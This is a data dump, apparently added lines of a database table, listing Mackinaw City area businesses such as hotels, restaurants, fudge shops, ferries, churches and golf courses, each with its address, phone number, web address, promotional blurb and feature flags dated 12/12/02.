+45 1 6 t Clarion Hotel Beachfront 905 S. Huron Avenue Mackinaw City MI 49701 US 231-436-5539 800-413-8826 www.mackinaw-city.com/lodging/clarion/index.htm "300' of sandy beach with spectacular view of Mackinac Island and Bridge. Free Hot Breakfast. Adjacent to Mackinac Island ferry. Near shops and restaurants. Picnic area, playground, & in-room coffee." acf21f.jpg 12/12/02 12/12/02 t f t f t f f f f f f f f f f
+46 1 6 t Waterfront Inn 1009 S. Huron Avenue Mackinaw City MI 49701 US 231-436-5527 800-962-9832 www.largestbeach.com/prod02.html "Lakefront rooms w/balconies overlooking Lake Huron, family units & houskeeping cabins. Private sandy beach, picnic & play area, indoor pool w/waterfalls & innertubes, spa & sundeck. One block to ferry. AAA" waterfrontfinal.jpg 12/12/02 12/12/02 t f t f t f f f t f f f f f f
+47 1 6 t Wawatam Motel 219 W. Jamet St. Mackinaw City MI 49701 US 231-436-8871 "We know the area well. Family owned and operated. Enjoy clean & quiet. Close to fine restaurants, shops, and Fort. Six blocks from Ferry. In-room phones & coffee. All ground level rooms. Ample parking." 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+48 1 6 t Northpointe Inn 1027 S. Huron Mackinaw City MI 49701 US 231-436-9812 800-576-2842 www.northpointeinn.com "Waterfront location with Island and Bridge views. Indoor pool and jacuzzi. New in 1998. Private beach, balconies, convenient location to all local activities and attractions. Cocktail Lounge on Site." acf897.jpg 12/12/02 12/12/02 t f t f t f t f t f f f f f f
+49 1 6 t Sundown Motel 1001 S. Nicolet St. Mackinaw City MI 49701 US 231-436-5422 888-251-6935 sundownmotel@hotmail.com "The motel that loves company, in the town that loves company. Friendly, family owned motel with 19 cozy units and VERY REASONABLE RATES. Walk to ferries, restaurants and downtown. BBQ Grill, Picnic Tables, Horeshoes, Playground, Volleyball, & Basketball. Across the street from Mackinaw's Wilderness Beach Waterpark" 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+51 1 6 t Val-Ru Motel 14394 N. Mackinaw Hwy Mackinaw City MI 49701 US 231-436-7691 valrumotel@yahoo.com www.geocities.com/valru.geo "Twenty six spacious comfortable rooms, in quiet wooded surroundings, all ground level rooms, easy access off I-75. Just two minutes from bridge and other attractions. Picnic area and playground, BBQ grill, a.m. coffee, AAA approved, free shuttles" 12/12/02 12/12/02 f t f f f f f f f f f f f f f
+52 9 1 t A-Maze-N Mirrors Located in The Mackinaw Crossings Mackinaw City MI 49701 US 231-436-7550 www.mirrormazes.com "Experience the amazing as you find your way through this fun filled, life size maze of mirrors and glass. A unique and amazing experience like none other. Fun for all ages." amazelogo.jpg 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+53 9 1 t Algoma Central Railway/Agawa Canyon Train Tours 129 Bay St. Sault Ste Marie ON P6A 6Y2 US 800-242-9287 www.agawacanyontourtrain.com "One day wilderness rail excursions to Agawa Canyon. Travel 114 miles north of Sault Ste. Marie over towering trestles, alongside pristine northern lakes and rivers and through awesome granite rock formations of the Canadian Shield. Located an hour north of Mackinaw City." 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+315 11 1 t Dixie Saloon 401 E. Central Avenue Mackinaw City MI 49701 US 231-436-5449 "Originally built in 1890, re-opened in 2000, 2 story log restaurant, features - great food, large portions, reasonable prices & nightly dancing, Mackinaw's Hot Spot. Located at the corner of Huron and Central, across from Shepler's Ferry." 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+316 9 1 t Mackinac Seaplane Tours P.O. Box 631 Sault Ste Maire MI 49783 US 906-632-9746 sales@mackinacseaplanes.com www.mackinacseaplanes.com "Welcome Aboard! After all....it's just plane fun! Boarding a seaplane and taking off and landing on the water is an experience we're sure you will enjoy. Get a unique perspective with a spectacular eagle's view of the Straits of Mackinac, Mackinac Island, St.Ignace, Mackinac Bridge, Mackinaw City, Cedarville, Drummond Island, Sault Ste. Maire, Soo Locks, St. Mary's River, Shore Line of Lake Superior, and Tahquamenon Falls. We also offer Fall Color Tours and breath taking aerial seaplane tours of the historic Great Lakes Lighthouses. Reserve your seat 24 hours in advance and come up and see what you've been missing!" 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+54 9 1 t Animal Tracks Adventure Golf 312 South Huron Avenue Mackinaw City MI 49701 US 231-436-5597 Challenges you to learn about our northern wildlife while playing miniature golf & having great family fun! Match up any 12 animals with their tracks on the hole marker & you win a free game! Located next to the Traverse Bay Woolen Company. 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+57 11 1 t Anna's Country Buffet 416 South Huron Avenue Mackinaw City MI 49701 US 231-436-5195 www.mackinawdining.com Buffet style restaurant. 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+58 10 1 t Arnold Transit Company 801 S. Huron Avenue Mackinaw City MI 49701 US 231-436-5542 800-542-8528 www.arnoldline.com Catch the Cat! The Largest ships serving Mackinac Island for more than 100 years. The only Catamarans serving the Island. Most Luxurious and comfortable seating. 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+59 11 1 t Audie's Restaurant 314 N. Nicolet Ave. Mackinaw City MI 49701 US 231-436-5744 www.audies.com "Offering fast, friendly service in the FAMILY ROOM, or leisurely, relaxed dining in the CHIPPEWA ROOM. Private banquet and meeting rooms. Cocktails served in both dining rooms. Open year round. Buses Welcome." 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+314 6 1 t Sign of the Loon Gifts 311 E. Central Avenue Mackinaw City MI 49701 US 231-436-5155 inquire@signoftheloon.com www.signoftheloon.com "A truely unique and different shopping experience, Sign of the Loon contains many nature inspired treasures. As a promoter of artisans, we carry many hand-crafted items, Native American crafts, and an unusual assortment of ""one of a kind gifts""." 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+317 6 1 t Balsam Shop 313 E. Central Avenue Mackinaw City MI 49701 US 231-436-6395 "Minnetonka Moccasins, silver & copper jewelry, knives & swords. Indian curios, fine gifts, collectibles, toys & souvenirs. Hats, shirts,jackets. Open May till November & winter weekends. VS MC DR AX" 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+318 9 1 t Soo Lock Boat Tours 515 & 1157 E. Portage Avenue Sault Ste Marie MI 49783 US 906-632-6301 800-432-6301 www.soolocks.com "Is one of Michigan's Top Attractions. Plan a day trip to Sault Ste. Marie & don't miss one of the highlights of your ""Mackinaw Experience."" For vacation fun actually ride through the Soo Locks, right alongside the big lake & ocean ships. Your boat will ride the water, straight up, 21 feet to the level of Lake Superior. A live narration explains all the maritime activity. On the 2 hour Soo Locks Tour you'll learn about the history of the Locks & Michigan's oldest city. There are many departure times to choose from, & no reservations are necessary. The two full service dock facilities have snack bars, restrooms, & souvenir shops." soolocks.jpg 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+61 2 1 t Barnett-France Insurance Agency 580 S. Nicolet Ave. P.O. Box 489 Mackinaw City MI 49701 US 231-436-5053 888-211-7388 231-436-5985 Insurance Agency 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+62 5 1 t Bayside Beverage 1008 Franklin St. Petoskey MI 49770 US Distributing Company 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+63 6 1 t Candy Corner/Windjammer 331 E. Central Ave. Mackinaw City MI 49701 US 231-436-5591 "Located opposite Shepler's Ferrie. Featuring delicious ""Mackinaw City Fudge"" and candies. Complet Line of Gifts, Souvenirs, and Novelties." 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+64 3 1 t Cheboygan Daily Tribune 308 N. Main St. Cheboygan MI 49721 US 231-627-7144 Daily Newspaper 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+65 2 1 t Citizen's National Bank 580 S. Nicolet St. Mackinaw City MI 49701 US 231-436-5271 or "24 hour ATM, Cash advances on MC/Visa and Discover" 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+319 9 1 t Soo Locks Upper St. Mary's River Lighthouse Cruise 515 & 1157 E. Portage Avenue Sault Ste Marie MI 49783 US 906-632-6301 800-432-6301 www.soolocks.com "Enjoy riding through the Soo Locks and naviagating in the St.Mary's River. Explore this important waterway and see the variety of lighthouses and navigation markers leading ships to the Soo Locks from Lake Superior. You will see the Point Iroquois Lighthouse, Gros Cap Reefs Light Station, the remains of Round Island Lighthouse, and many other interesting sights. This 4 hour cruise departs at 8:30 a.m. and retruns at approximately 12:30 p.m. The U.S. Coast Guard inspected 275-passenger capacity ship is equipped with a climate controlled lower deck, restrooms, and snack bar. Box lunches are available with advance reservations. " 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+320 6 1 t Mackinaw Marketplace 209 East Central Avenue Mackinaw City MI 49701 US 231-436-7122 231-436-7122 www.mackinawmarketplace.com "The Mackinaw Market Place makes from the finest ingredients handmade fudge, carmelcorn,brittles crisp & hand dipped chocolates. Known by thousands of repeat customers as having the best carmel corn in the north." 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+321 2 1 t "Bayview Mortgage Services, Inc." 1493 E. Gill Road Carp Lake MI 49718 US 231-537-2744 1-888-403-1997 bayviewinc@racc2000.com www.bayviewmortgageservicesinc.com "Serving Northern Michigan since 1981. Mortgages for primary homes, 2nd homes, condos, vacant lots, fixed rates, adjustable rates - The best service and lowest rates. Locally owned - fast service" 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+322 3 1 t Gaslight Media 120 E. Lake Street Petoskey MI 49770 US 231-487-0692 1-877-Gaslight 231-487-0313 info@gaslightmedia.com www.gaslightmedia.com "Gaslight Media is a Full Service Business Internet Provider. For over six years, Gaslight Media's in-house programmers, Internet consultants and designers have created sites that enhance success and maximize investment. Offering Internet connectivity to businesses, Web hosting services, streaming audio/video servers and graphic design. Gaslight Media provides an overall solution for your companies Internet needs. Call 877-Gaslight for your free consultation." 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+70 9 1 t Mackinaw Crossings (CourtYards of Mackinaw) 248 South Huron Avenue Mackinaw City MI 49701 US 231-436-5030 1-888-436-5030 www.mackinawcrossings.com "A Victorian-style theme park consisting of 50 shops and attractions, including an 800 seat, indoor theatre featuring live entertainment daily. An outdoor amphitheatre provides free entertainment and a nightly laser light music show. " 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+72 11 1 t Ember's Restaurant 810 S. Huron Avenue Mackinaw City MI 49701 US 231-436-5773 www.mackinawcityembers.com "Across from Arnold's Mackinac Island Ferry, and close to many hotels, Embers' features great food, breakfast, lunch and dinner buffet, and a cozy lounge." 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+73 2 1 t National City Bank of Michigan/Illinois 118 E. Central Avenue Mackinaw City MI 49701 US 231-436-5522 24 Hour Banking. MC/VISA - Cash Advance Services 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+74 11 1 t Nature's Table 166 S. Huron Avenue / In the Mackinaw Crossings Mackinaw City MI 49701 US 231-436-7779 "One Little Taste is all it takes to know the quality and freshness Nature's Table has to offer. Award Winning Veggie Chili, Homemade soups, salads, sandwiches, fresh fruit smoothies, and Frozen Yogurt." 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+75 6 1 t Northern Michigan Duplicating 121 South Huron Avenue Cheboygan MI 49721 US 231-627-7020 "Copier Service, Sales, and Leasing" 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+323 1 6 t Grand View Resort 11384 W. US 23 Mackinaw City MI 49701 US 231-436-8100 866-436-8100 231-436-8100 grandviewresort@msn.com www.grandviewresort.com "In the midst of 230 feet of sandy beach on Lake Huron, we have Mackinaw City's most breathtaking view of Mackinac Island and the Mackinac Bridge. We are proud to offer beachfront suites and a variety of beautiful rooms with a spectacular water view. For your longer stays, you may want to check out our brand new condo with a full kitchen and master bedroom adjacent to our sparkling outdoor pool heated to 85 degrees. Jet ski & jet boat rentals available." acf893.jpg 12/12/02 12/12/02 f t f f t f f f f f f f f f f
+336 4 1 t Mackinaw City Bible Church 308 W. Central Avenue Mackinaw City MI 49701 US 231-436-8591 "Sunday School: 10:00 a.m.; Worship: 11:00 a.m.; Evening Service: 7:00 p.m. (May - October), 6:00 p.m. (November - April); Wednesday evening prayer & Bible study; 7:00 p.m. Pastor: Rev. Reid E. Nelson." 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+77 6 1 t O'Brien's Shirts & Gifts 220 E. Central Avenue Mackinaw City MI 49701 US 231-436-5074 www.obriens2@voyager.net "Shirts for Everyone! We make custom shirts while you wait. Carrying a huge line of all styles. T-shirts & Sweatshirts from sizes 6 months to 6XL. Over 1000 different designs to choose from. Very reasonable prices. Souvenir, Wildlife, Cars, Nautical, Harley and lots of fun. " 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+78 11 1 t Pancake Chef 327 E. Central Avenue Mackinaw City MI 49701 US 231-436-5578 1-888-436-5578 www.pancakechef.com "Open year' round. Main Street across from City Hall. Complete lunch and dinner menu. Breakfast anytime. Pleasant, comfortable family dining. Salad bar & buffet. Experienced Group Tour Service." 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+80 8 1 t Nubs Nob 500 Nubs Nob Rd. Harbor Springs MI 49740 US 231-526-2131 www.nubsnob.com "People who ski Nub's know our secret. It's our magic formula for a successful ski & snowboard season - a variety of great terrain, the ""Best Snow in the Midwest,"" Runs: 43 total, 7 most difficult, 20 more difficult, 14 easiest, 2 snowboard halfpipes." 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+81 11 1 t Scalawags Whitefish & Chips 226 E. Central Avenue Mackinaw City MI 49701 US 231-436-7777 www.scalawagswhitefish.com "Specializing in Whitefish & Chips baskets, and a variety of sandwiches. Voted best fish in the North! Fresh fish daily from Bell's Fishery. Eat in or carry out. Kids menu available. ""Take a Bite out of the Great Lakes."" " 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+82 10 1 t Shepler's Mackinac Island Ferry "Downtown Mackinaw City, P.O. Box 250" Mackinaw City MI 49701 US 231-436-5023 1-800-828-6157 sheplers@freeway.net www.sheplerswww.com "Ride the fastest fleet to Mackinac Island. We get you there safely & comfortably in only 16 minutes! Departures from Mackinaw City & St.Ignace. Acres of free daily & overnight parking, Free shuttle from local hotels & campgrounds. Free luggage handling." 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+84 10 1 t Star Line Mackinac Island Ferry 711 South Huron Avenue Mackinaw City MI 49701 US 231-436-5954 1-800-638-9892 www.mackinacferry.com "High Tail It To Mackinac Island"" aboard our fast and exciting Hydro-Jet Ferries. Free day parking; secure overnight parking, indoor and valet parking. Free hotel and campground shuttle service. Call our Customer Service Specialist for group & rate information. See ONLINE COUPON for additional savings. Newest fleet serving Mackinaw City!" boat2.jpg 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+85 3 1 t Straits Area Step On Guide Service P.O. Box 305 Mackinaw City MI 49701 US 231-436-5050 www.mackinawcity.com/tourguide "Assisting Tour Bus Operators with Fascinating Local Knowledge of the Mackinac Bridge, Colonial Michilimackinac, Mill Creek, Local Shipwreck Lore, Mackinaw City, St.Ignace, Mackinac Island, and Area Lighthouses. Tahquamen Falls and Whitefish Point Shipwreck Museum too! Walking tours of Mackinac Island and Mackinaw City." 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+86 11 1 t The Admiral's Table 506 S. Huron Avenue` Mackinaw City MI 49701 US 231-436-5687 "Serving Breakfast, Lunch & Dinner. Breakfast Buffet in Season. Featuring fresh broiled fish, prime rib and char-broiled steaks. " 12/12/02 12/12/02 f f f f f f f f t f t t t f f
+87 8 1 t The Mackinaw Club "Mackinaw Club Drive, P.O. Box 658" Mackinaw City MI 49701 US 231-436-7590 "Challenging yet playable Jerry Matthew's Designed Par 72 Golf Course. Surrounded by the beauty of the Straits of Mackinac, it offers bent grass tees and greens, and an exceptional driving range. Outings and Instruction are available." 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+88 9 1 t The Opera House 403 North Huron Avenue Cheboygan MI 49721 US 231-627-5841 1-800-357-9408 www.theoperahouse.org "The Opera House, originally constructed in 1877, played an important role in the history of the colorful lumbering era in Northern Michigan. Year round arts facility, which hosts a variety of artists and attractions from all over the world. " 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+91 6 1 t Traverse Bay Woolen Company 312 South Huron Avenue Mackinaw City MI 49701 US 231-436-5402 888-436-4326 www.traversebaywoolen.com "Traverse Bay Woolen Company - Products reflecting the special nature and culture of the north woods. Natural Fiber Sweaters, Outdoor wear, Hudson Bay Blankets, Furniture, Accessories, Gifts, and Keepsakes." 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+93 9 1 t Mackinaw Parasailing by Waterventures Boat Slip #1 - Mackinaw City Marina Mackinaw City MI 49701 US 231-436-7144 winter # 231-53 www.mackinawparasailing.com "Parasailing is exciting for everyone, come view the straits of Mackinac from a new perspective. Our custom boat enables the parasailer to take off & land directly from the flight deck, making for a smooth dry parasail flight. We offer single and double flights. Reservations required, Memorial Day thru Labor Day." 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+94 6 1 t "Fort Fudge Shop, Inc." 113 Straits Mackinaw City MI 49701 US 231-436-8931 www.fortfudge shop.com "Across from the Fort. Fudge, brittles, caramel corn made daily. A full line of sugar-free candies. Mail orders promptly shipped. Souvenirs, Moccasins, Film, & Gifts. Wholesale & Fundraising." 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+96 11 1 t Growley Bear Coffee Company 312 S. Huron Avenue Mackinaw City MI 49701 US "There's no better place to stop in for a robust coffee than our newest addition, on the deck at Animal Tracks Golf. Delectable cappuccino, espresso and latte blends will give you a warm taste of the simple pleasures so characteristic of the north." 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+97 3 1 t Harrington Group Advertising 321 E. Lake Street Petoskey MI 49770 US 231-347-0670 mike@theharringtongroup. net "Advertising Firm, Public Relations and Sales Consultants" 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+98 8 1 t Hidden River Golf & Casting Club 7688 Maple River Rd. Brutus MI 49716 US 231-529-4653 800-325-Golf 231-529-4611 info@hiddenriver.com www.hiddenriver.com "Hidden River was created on a one in a million piece of property. Features include stands of pine, hardwoods, elevation changes, natural dune areas, and the Maple River winding through the site. Five sets of tees will challenge all levels of golfers. " 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+99 5 1 t Huron Distributors 5555 M-68 Hwy Indian River MI 49749 US 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+100 6 1 t Hush Puppies Factory Direct 402 S. Huron Avenue Mackinaw City MI 49701 US 231-436-5321 OPEN ALL YEAR. Footwear for the Family. 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+101 6 1 t Joann's Fudge 303 E. Central Avenue Mackinaw City MI 49701 US 231-436-5611 www.joannsfudge.com "Fudge made daily with all natural ingredients. Hand dipped chocolates, Ice Cream, English toffee, turtles & peanut brittle. Phone & Mail orders accepted." 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+102 9 1 t Kewadin Casinos 3039 Mackinac Trail St.Ignace MI 49781 US 906-643-7071 800-KEWADIN www.kewadin.com "Kewadin Shores in St. Ignance features Vegas-style gaming and entertainment with over 1100 slots, poker, blackjack, roulette, keno, craps and more! Plus buffet style dining at The Market Square Buffet. Also visit our other lacations in Sault Ste. Marie, Hessel, christmas, and Manistique, Michigan." 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+103 11 1 t Lighthouse Restaurant and Lounge 618 South Huron Avenue P.O. Box 698 Mackinaw City MI 49701 US 231-436-5191 mackinawdining@aol.com www.mackinawdining.com "AAA Open May 1 to Nov 1 Daily at 4p.m.. We serve fresh fish, choice steaks & prime rib, all u can eat crablegs, as well as a variety of seafood. Childrens menu. Beer, Wine & Cocktails." 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+105 11 1 t Mackinaw Bakery & Coffee House 110 Langlade Mackinaw City MI 49701 US 231-436-5525 "Across from Shepler's Ferry Dock. Complete line of homemade baked goods & Homemade Sandwiches. Birthday cakes & old fashioned salt rising bread. Ice cream cones, cappuccino, coffee - in or out. Homemade pasties baked fresh daily. Open 7 days a week." 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+106 6 1 t Mackinaw Clothing 319 E. Central Avenue Mackinaw City MI 49701 US 231-436-8411 231-436-7342 "Quality clothing featuring Woolrich - Jantzen - Northern Isles - Columbia - Alps & Rocky Shoes for men and women. Woolrich & Hudson's Bay Blankets, Baby Togs." 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+109 6 1 t Marshall's Fudge & Gifts 308 E. Central Avenue Mackinaw City MI 49701 US 231-436-5082 800-343-8343 www.marshallsfudge.com "Fine handmade candies made fresh daily from our 114 year old recipes. There is a difference - come taste the best. Open Year Round. Fresh Cream Fudge, Crunchy Nut Brittles, Caramel Corn, Pecan Logs, Sweet Cream Caramels, & more. Mail orders all year. " 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+324 6 1 t Mackinaw Building Center 112 E. Central Avenue Mackinaw City MI 49701 US 231-436-5712 231-436-7061 "Open year 'round. Branch of Cheboygan Lumber-Do It Best Across America. Hardware, lumber, house wares, gifts, camping & sporting supplies." 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+110 8 1 t Wilderness Golf Course 10500 Cecil Bay Rd. Carp Lake MI 49718 US 231-537-4973 "A challenging 9-hole course on C-81, 10 miles SW of Mackinaw City. It's user friendly appearance with no sand and little water is deceptive as it yields few pars. Play a leisurly game of golf ""For the fun of it"" No tee time required. Rental carts avail." 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+112 10 1 t Wolverine Stages Pellston Regional Airport Pellston MI 49769 US 231-539-8635 800-825-1450 231-539-8969 www.wolverinestages.com Specializing in ground transportation to Mackinac Island Boat Docks and Surrounding areas. Charter Bus Service. Group transfers to convention or meeting destinations. Individual taxi or chauffeured limousine service for special occasions. 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+113 6 1 t Teysen's Gift Shop & Gallery 300 E. Central Avenue Mackinaw City MI 49701 US 231-436-7011 231-436-5932 www.teysens.com "Serving the Mackinaw Traveler for over 75 years. Unique Indian artwork, Many collectable lines, Beanie Babies plus fresh homemade, Mackinaw Fudge."" Our Gallery Features the unique Wooden Gallery Process""" 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+114 9 1 t Traverse Bay Casino 2331 North West Bay Shore Drive Suttons Bay MI 49682 US 800-922-2WIN www.casino2win.com "A great entertainment and adventure awaits you. Leelanau Sands Casino in Peshawbestown, 20 miles North of Traverse City, or Turtle Creek Casino in Williamsburg just minutes from Traverse City on M-72. Play your favorite games, hear your artists, and indulge yourself with your favorite food at either casino. Other amenities, Convention Center and Leelanau Sands Showroom." 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+115 9 1 t Center Stage Theater Located in Mackinaw Crossings Mackinaw City MI 49701 US 231-436-2200 877-437-8243 www.mackinawcrossings.com/lost.html "830 Seat Live Theater featuring ""L'Harmonie"" The Miracle of Music ! The most special moments in life are harmonious ones......when all seems right in the world. Two hours of tempos and tunes will not forget the impact of pop, classical, soul, disco and rap on memorable moments of our lives. As if riding the waves of a magical spell, music speaks to the heart. So sit back enjoy the moment and celebrate that ""something special"" feeling....Live in ""L'Harmonie""....Live the Miracle!" 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+116 1 2 t Deer Head Lodge Bed and Breakfast 109 Henry Street Mackinaw City MI 49701 US 231-436-3337 bdean@deerhead.com www.deerhead.com "Capture the spirit of the north in this 1913 arts & crafts home. Enjoy a cozy fire, then relax in a claw foot bath tub and snuggle up in your feather bed beneath a designer comforter. Share a scrumptious breakfast and conversation before exploring shops, island and up north sights." 12/12/02 12/12/02 f f f f f f f f t f f f f f t
+117 1 2 t Brigadoon Bed & Breakfast 207 Langlade St. Mackinaw City MI 49701 US 231-436-8882 info@mackinawbrigadoon.com www.mackinawbrigadoon.com "Enjoy your visit to Mackinaw City by staying at our elegant bed & breakfast, featuring king/queen poster beds, private baths with whirlpools and heated marble floors, and fireplaces in each suite. Homemade breakfast in our veranda is included! We are located just 1 block north of downtown Central Avenue" 12/12/02 12/12/02 f f f f f f f f t f f f f f f
+118 1 6 t Hampton Inn 726 South Huron Avenue Mackinaw City MI 49701 US 231-436-STAY 1-800-HAMPTON 231-436-9881 www.hilton.com/en/hp/hotels/index.jhtml?ctyhocn=MACMIHX "Newest in Town. AAA 3 Diamond. Free Breakfast, Free Newspaper & Free Local Phone Calls. Indoor htd pool. Interior Corridor & Elevator. Non-smk Floor available. In room Coffee & Iron/Ironing Boards. Near Ferry Boats, Shopping, Theatre & Restaurants. " 12/12/02 12/12/02 t f f f f f f f t f f f f f f
+119 10 1 t Mackinaw Airport Shuttle/Limosine Mackinaw City MI 49701 US 888-349-8294 mackinawshuttle@racc2000.com www.mackinawshuttle.com "Airport shuttle serving Pellston Regional, Sault Ste. Marie, Traverse City Airports - To all Mackinaw City, MI Ferries & Hotels. Call for rates. Pickup service 7 am to midnight. 7 Days per week in season / 24 hour service by reservation. Group Rates. Private Coach available to Private Plane, Conventions, Weddings, Private Parties, Cruise Ships. " 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+121 11 1 t Mancino's of Mackinaw City 717 Nicolet St. Mackinaw City MI 49701 US 231-436-7474 231-436-7373 mancinos@vayager.com mancinosofmackinaw.20m.com "Pizza, Grinders, Salads, Appetizers, Free Delivery, Dine in or carry out. 22 Different sandwiches. Cappuccino - Iced Mocha drinks. Hours 7 days (summer) 11am to 11pm (winter) 11am to 10pm." 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+122 9 1 t Mackinaw Trolley Company "706 South Huron Avenue., P.O. Box 358" Mackinaw City MI 49701 US 231-436-7812 877-858-0357 www.mackinawtrolley.com "Tour with the Mackinaw Trolley- History Tour over the Bridge, Mackinaw Trolley Trail Tour, Lighthouses,Ships & Shipwreck Tour & Fall Color Tour. Check out our web site for more information on Tours offered during the 2002 season." 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+123 9 1 t Soo Locks Dinner Cruises 515 & 1157 E. Portage Avenue Sault Ste Marie MI 49783 US 906-632-6301 800-432-6301 www.soolocks.com "Another way to experience ""locking through"" is aboard a Sunset Dinner Cruise with Lock Tour. Enjoy a leisurely cruise on the St.Mary's River, sightseeing in Sugar Island's Old North Channel, and ride trhough the Soo Locks while enjoying a delicious buffet style dinner with dessert. The Dinner Cruise is approximately 2 1/2 hours, dress is casual, and reservations are recommended." 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+125 1 6 t Flamingo Motel 13959 Mackinaw Terrace Mackinaw City MI 49701 US 231-436-8751 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+126 12 1 t Mackinac State Historic Parks P.O. Box 370 Mackinac Island MI 49757 US 231-436-4100 or www.mackinacparks.com "Colonial Michilimackinac, Historic Mill Creek, & Fort Mackinac" 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+337 4 1 t The Church of the Straits 307 N. Huron at Janet Street Mackinaw City MI 49701 US 231-436-8682 "United Methodist & Presbyterian (USA) Last Sunday in June thru Labor Day, service at 9:00 & 11:00 a.m. Nursery provided during winter months only. Service. Winter service 10:30 a.m. Church Sunday School at 9:30 a.m." 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+338 4 1 t St.Anthony's Church 600 West Central Avenue Mackinaw City MI 49701 US 231-436-5561 "Summer schedule begins July 4th weekend; Saturday Mass: 6:00 p.m. Sunday Masses: 9:00 & 11:00 a.m. through Labor Day weekend. Spring, Fall and Winter schedule: Saturday: 6:00 p.m. and Sunday: 10:00 a.m. " 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+339 4 1 t Darrow Bros. Excavating Inc. P.O. Box 3 Mackinaw City MI 49701 US 231-436-5475 231-436-8225 darrow@freeway.net Residential & Commercial Top Soil - Sand - Gravel - Stone - Site preparation - Driveways - Basements - Shoreline - Land clearing - Grading - Free Estimates - Insured 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+340 3 1 t Northbound Publications P.O. Box 790 Central Lake MI 49622 US 800-480-9649 www.northbound@torchlake.com Printing and specialty publishing. Local publisher of the Fort Gazette. Graphic Design - Typesetting - Printing - Publishin - Brochures - Laminating - Short Run Color 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+127 11 1 t Historic Depot Restaruant Mackinaw Crossings Mackinaw City MI 49701 US 231-436-7060 www.mackinawcrossings.com Casual Dining. Lunch and Dinner. Full bar. Sandwiches - Steaks - Fresh Seafood. 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+128 11 1 t Legs Inn 6425 Lakeshore Drive Cross Village MI 49723 US 231-526-2281 www.legsinn.com Famous historical landmark. Uncomparable family dining & fun. Polish & American cruisine. Unmatched atmosphere & decor. Dine in gardens with spectacular lake view sunsets. Live music & 100 beer choices. Recommended by critics & guests. Seasonal. 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+129 6 1 t "Old Fort Mackinaw Candies, Inc." 321 E. Central Avenue Mackinaw City MI 49701 US 231-436-5883 www.fortfudge.com Fudge-brittles-caramel corn made daily. A full line of sugar-free candies. Mail orders shipped promply. Souvenirs - Moccasins - Gifts. 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+130 6 1 t Sophia's Shirt Shop & Things 109 Straits Avenue Mackinaw City MI 49701 US 231-436-7169 www.fortfudge.com "Quilts, teddy bears, crystal, & gifts for all occassions. High quality sweatshirts, jackets, t-shirts, handcrafted quilted jackets, some up scale fashionwear. Holiday snowmen section & collectibles." 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+132 8 1 t Hessel Ridge Golf 2061 North Three Mile Road Hessel MI 49745 US 906-484-2107 888-660-9166 "Is a picturesque 18 hole golf course. Plush fairways, tree-lined boundaries and perfectly groomed greens provide a park-like setting for golfers of all skills. Great grass, great views, & great golf at reasonable rates. " 12/12/02 12/12/02 f f f f f f f f f f f f f f f
